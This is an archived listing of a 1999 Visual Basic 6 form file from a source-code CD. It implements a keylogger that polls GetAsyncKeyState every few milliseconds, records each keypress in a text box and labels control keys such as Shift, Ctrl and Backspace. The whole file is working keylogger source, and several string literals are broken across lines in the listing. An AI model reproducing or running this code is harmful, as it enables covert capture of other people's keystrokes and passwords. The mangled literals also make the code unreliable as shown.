home *** CD-ROM | disk | FTP | other *** search
/ Visual Basic Source Code / Visual Basic Source Code.iso / vbsource / keylog1a / form1.frm (.txt) next >
Encoding:
Visual Basic Form  |  1999-07-27  |  4.2 KB  |  152 lines
  1. VERSION 5.00
  2. Object = "{3B7C8863-D78F-101B-B9B5-04021C009402}#1.2#0"; "RICHTX32.OCX"
  3. Begin VB.Form Form1 
  4.    Caption         =   "Form1"
  5.    ClientHeight    =   5655
  6.    ClientLeft      =   165
  7.    ClientTop       =   735
  8.    ClientWidth     =   7890
  9.    LinkTopic       =   "Form1"
  10.    ScaleHeight     =   5655
  11.    ScaleWidth      =   7890
  12.    StartUpPosition =   3  'Windows Default
  13.    Begin RichTextLib.RichTextBox rtbText 
  14.       Height          =   855
  15.       Left            =   1080
  16.       TabIndex        =   0
  17.       Top             =   1440
  18.       Width           =   855
  19.       _ExtentX        =   1508
  20.       _ExtentY        =   1508
  21.       _Version        =   393217
  22.       BackColor       =   16777215
  23.       ScrollBars      =   3
  24.       TextRTF         =   $"Form1.frx":0000
  25.    End
  26.    Begin VB.Timer Timer1 
  27.       Interval        =   5
  28.       Left            =   2880
  29.       Top             =   1440
  30.    End
  31.    Begin RichTextLib.RichTextBox rtbCoded 
  32.       Height          =   1335
  33.       Left            =   3240
  34.       TabIndex        =   1
  35.       Top             =   1920
  36.       Visible         =   0   'False
  37.       Width           =   975
  38.       _ExtentX        =   1720
  39.       _ExtentY        =   2355
  40.       _Version        =   393217
  41.       ScrollBars      =   3
  42.       TextRTF         =   $"Form1.frx":00AE
  43.    End
  44.    Begin VB.Menu mnuFile 
  45.       Caption         =   "&File"
  46.       Begin VB.Menu mnuFileExit 
  47.          Caption         =   "E&xit"
  48.       End
  49.    End
  50.    Begin VB.Menu mnuView 
  51.       Caption         =   "&View"
  52.       Begin VB.Menu mnuViewCopy 
  53.          Caption         =   "Copy"
  54.       End
  55.       Begin VB.Menu mnuViewView 
  56.          Caption         =   "Cod&e"
  57.       End
  58.    End
  59. Attribute VB_Name = "Form1"
  60. Attribute VB_GlobalNameSpace = False
  61. Attribute VB_Creatable = False
  62. Attribute VB_PredeclaredId = True
  63. Attribute VB_Exposed = False
  64. Option Explicit
  65. Private Sub Form_Resize()
  66.     UpdateControls
  67. End Sub
  68. Private Sub mnuViewCopy_Click()
  69.     Timer1.Enabled = False
  70. End Sub
  71. Private Sub mnuViewView_Click()
  72.     If mnuViewView.Caption = "T&ext" Then
  73.         mnuViewView.Caption = "Cod&e"
  74.         rtbText.Visible = True
  75.         rtbCoded.Visible = False
  76.     Else
  77.         mnuViewView.Caption = "T&ext"
  78.         rtbText.Visible = False
  79.         rtbCoded.Visible = True
  80.     End If
  81. End Sub
  82. Private Sub rtbtext_Change()
  83.     Call Code(rtbText, rtbCoded)
  84. End Sub
  85. Private Sub Timer1_Timer()
  86.     Dim KeyLoop As Byte, FoundKeys$, KeyResult As Long
  87.     For KeyLoop = 1 To 127
  88.         KeyResult = GetAsyncKeyState(KeyLoop)
  89.         If KeyResult = -32767 Then
  90.             rtbText.Text = rtbText.Text & Chr(KeyLoop)
  91.         End If
  92.     Next
  93. End Sub
  94. Sub Code(from As RichTextBox, into As RichTextBox)
  95.     ' Remove clicks
  96.     from.Text = Replace(from.Text, "
  97. ", "") 'Asc(
  98. ) = 1
  99.     ' Remove extra shifts - Two right next to each other
  100.     Do While from.Find("
  101. ") <> -1
  102.         from.Text = Replace(from.Text, "
  103. ") 'Asc(
  104. ) = 16
  105.     Loop
  106.     ' Remove extra ctrls - Two right next to each other
  107.     Do While from.Find("
  108. ") <> -1
  109.         from.Text = Replace(from.Text, "
  110. ") 'Asc(
  111. ) = 17
  112.     Loop
  113.     ' Remove extra alts - Two right next to each other
  114.     Do While from.Find("
  115. ") <> -1
  116.         from.Text = Replace(from.Text, "
  117. ") 'Asc(
  118. ) = 18
  119.     Loop
  120.     into.Text = from.Text
  121.     into.Text = Replace(into.Text, "
  122. ", "<BACKSPACE>")   '08
  123.     into.Text = Replace(into.Text, Chr(9), "<TAB>")      '09
  124.     into.Text = Replace(into.Text, Chr(13), "<ENTER>")   '13
  125.     into.Text = Replace(into.Text, "
  126. ", "<SHIFT>")       '16
  127.     into.Text = Replace(into.Text, "
  128. ", "<CTRL>")        '17
  129.     into.Text = Replace(into.Text, "
  130. ", "<ALT>")         '18
  131.     into.Text = Replace(into.Text, "
  132. ", "<CAPS LOCK>")   '20
  133. End Sub
  134. Sub UpdateControls()
  135.     If Me.Height > 685 Then
  136.         rtbCoded.Height = Me.Height - 685
  137.     End If
  138.     rtbCoded.Left = 0
  139.     rtbCoded.Top = 0
  140.     If Me.Width > 120 Then
  141.         rtbCoded.Width = Me.Width - 120
  142.     End If
  143.     If Me.Height > 685 Then
  144.         rtbText.Height = Me.Height - 685
  145.     End If
  146.     rtbText.Left = 0
  147.     rtbText.Top = 0
  148.     If Me.Width > 120 Then
  149.         rtbText.Width = Me.Width - 120
  150.     End If
  151. End Sub
  152.